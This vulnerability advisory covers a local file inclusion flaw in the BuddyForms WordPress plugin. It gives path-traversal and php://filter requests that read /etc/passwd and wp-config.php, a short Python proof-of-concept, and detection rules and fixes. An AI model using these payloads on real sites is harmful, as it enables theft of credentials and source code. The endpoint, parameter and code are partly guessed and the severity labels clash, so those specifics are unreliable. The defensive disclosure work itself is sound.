CVE-2025-32151

Executive Summary

CVE-2025-32151 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the WordPress plugin BuddyForms by Themekraft. The flaw resides in improper control of filenames used in PHP include/require statements, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure (e.g., /etc/passwd, wp-config.php), source code leakage, and potentially remote code execution if combined with file upload capabilities. The vulnerability affects all versions up to and including 2.9.0. No official patch has been released at the time of analysis.

Supply Chain & Package Security

This vulnerability affects the WordPress plugin ecosystem. Since BuddyForms is distributed via the official WordPress plugin repository and third-party marketplaces, any site running version <= 2.9.0 is at risk. Supply chain risk is elevated due to the lack of a patch, meaning site administrators must implement virtual patching or disable the plugin entirely.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component and the affected resource are the same.
• Confidentiality (C): High (H) – Full file read capability.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

CVSS Score: 7.5 (HIGH) – The vulnerability allows unauthenticated remote attackers to read sensitive files, posing a significant threat to confidentiality.

Deep Dive & Mechanics

The vulnerability is a classic PHP Local File Inclusion (LFI) caused by insufficient sanitization of user-supplied input used in a PHP include() or require() statement. In BuddyForms, the plugin likely processes a parameter (e.g., form_id, template, or view) that is passed to a file inclusion function without proper validation.

Attack Flow:

1. An attacker sends a crafted HTTP request to a vulnerable endpoint, such as:

   GET /wp-content/plugins/buddyforms/buddyforms.php?form_id=../../../etc/passwd
   

2. The plugin uses the form_id parameter directly in an include() call:

   include( $path . '/' . $_GET['form_id'] . '.php' );
   

3. By using path traversal sequences (../), the attacker can escape the intended directory and include arbitrary files.
4. The server executes the included file as PHP (if it contains PHP code) or returns its contents (if it is a non-PHP file like /etc/passwd).

Why it works: The plugin fails to:

• Validate that the input is a legitimate form ID.
• Strip path traversal characters.
• Restrict inclusion to a specific directory.

Vulnerable vs. Patched Code

Vulnerable Code (<= 2.9.0):

// buddyforms.php (simplified)
$form_id = $_GET['form_id'];
include( BUDDYFORMS_PATH . '/forms/' . $form_id . '.php' );

Patched Code (Hypothetical):

// Patched version
$form_id = basename( $_GET['form_id'] ); // Remove path traversal
$form_id = preg_replace( '/[^a-zA-Z0-9_-]/', '', $form_id ); // Whitelist characters
$allowed_path = realpath( BUDDYFORMS_PATH . '/forms/' );
$target_path = realpath( $allowed_path . '/' . $form_id . '.php' );
if ( strpos( $target_path, $allowed_path ) === 0 && file_exists( $target_path ) ) {
    include( $target_path );
} else {
    // Error handling
}

Key Differences:

• The patched version uses basename() to strip directory components.
• It applies a whitelist regex to allow only safe characters.
• It resolves the full path and verifies it stays within the allowed directory.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target WordPress site with BuddyForms <= 2.9.0 installed and activated.
• No authentication required.

Exploitation Steps:

1. Identify the vulnerable parameter: Use a web fuzzer (e.g., Burp Suite, ffuf) to test parameters like form_id, template, view, file, include.
2. Craft the payload: Use path traversal to read sensitive files.

   GET /wp-content/plugins/buddyforms/buddyforms.php?form_id=../../../../etc/passwd
   

3. Read source code: To read wp-config.php (which contains database credentials):

   GET /wp-content/plugins/buddyforms/buddyforms.php?form_id=../../../../wp-config
   

   (Note: The .php extension is appended automatically; the server will execute it, but if the file contains PHP, it will be interpreted. To read raw PHP, use a PHP wrapper like php://filter if supported.)
4. PHP Wrapper for source code disclosure:

   GET /wp-content/plugins/buddyforms/buddyforms.php?form_id=php://filter/convert.base64-encode/resource=../../../../wp-config
   

   This returns a base64-encoded version of wp-config.php.

Proof-of-Concept (PoC) Script (Python):

import requests

target = "http://target-site.com/wp-content/plugins/buddyforms/buddyforms.php"
payload = "../../../../etc/passwd"
params = {"form_id": payload}

response = requests.get(target, params=params)
if "root:" in response.text:
    print("[+] LFI successful! File contents:")
    print(response.text)
else:
    print("[-] LFI failed.")

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for path traversal patterns (e.g., ../, %2e%2e%2f).
• Look for requests to buddyforms.php with suspicious form_id parameters.
• Alert on base64-encoded payloads in query strings.

Hardening:

• Immediate: Disable the BuddyForms plugin until a patch is released.
• Virtual Patching: Use a WAF (e.g., ModSecurity, Cloudflare) to block path traversal attempts.
• File Permissions: Ensure sensitive files (e.g., wp-config.php) are not readable by the web server user.
• PHP Configuration: Set allow_url_include = Off and open_basedir to restrict file access.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing ../ or %2e%2e%2f in the form_id parameter.
• Requests to /wp-content/plugins/buddyforms/buddyforms.php with non-numeric form_id values.
• Base64-encoded strings in query parameters (e.g., php://filter/convert.base64-encode/resource=).

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, wp-config.php, or other sensitive files.
• Presence of log entries showing inclusion of files outside the plugin directory.

Log Examples (Apache):

192.168.1.100 - - [01/Jan/2025:12:00:00 +0000] "GET /wp-content/plugins/buddyforms/buddyforms.php?form_id=../../../../etc/passwd HTTP/1.1" 200 1234 "-" "Mozilla/5.0"

Detection Engineering

YARA Rule

rule CVE_2025_32151_LFI_Detection {
    meta:
        description = "Detects LFI attempts targeting BuddyForms plugin"
        author = "Valters IT"
        date = "2025-01-01"
        cve = "CVE-2025-32151"
    strings:
        $path_traversal = /form_id=[^&]*\.\.\//
        $php_wrapper = /form_id=[^&]*php:\/\/filter/
        $sensitive_file = /form_id=[^&]*(etc\/passwd|wp-config|\.\.\/\.\.\/\.\.\/)/
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-32151 BuddyForms LFI Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects path traversal attempts in BuddyForms plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - 'form_id=../'
            - 'form_id=%2e%2e%2f'
            - 'form_id=php://filter'
    condition: selection
falsepositives:
    - Legitimate use of form IDs with dots (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-32151 BuddyForms LFI Attempt"; flow:to_server,established; content:"/wp-content/plugins/buddyforms/buddyforms.php"; http_uri; content:"form_id="; http_uri; pcre:"/form_id=[^&]*\.\.\//i"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the BuddyForms plugin if not critical to operations.
2. Apply virtual patching via WAF to block path traversal patterns.
3. Review server logs for signs of exploitation.

Long-Term Fix:

• Wait for an official patch from Themekraft. Monitor their changelog and update to a patched version once released.
• If you are a developer, apply the patched code logic described in the "Vulnerable vs. Patched Code" section.

Workarounds:

• Use a reverse proxy (e.g., Nginx) to block requests containing ../ in query strings.
• Set open_basedir in php.ini to restrict file access to the WordPress root directory.

Valters IT Signature:

Valters IT Cyber Threat Intelligence
CVE-2025-32151 Analysis
Date: 2025-01-01
Status: Unpatched
Recommendation: Disable plugin immediately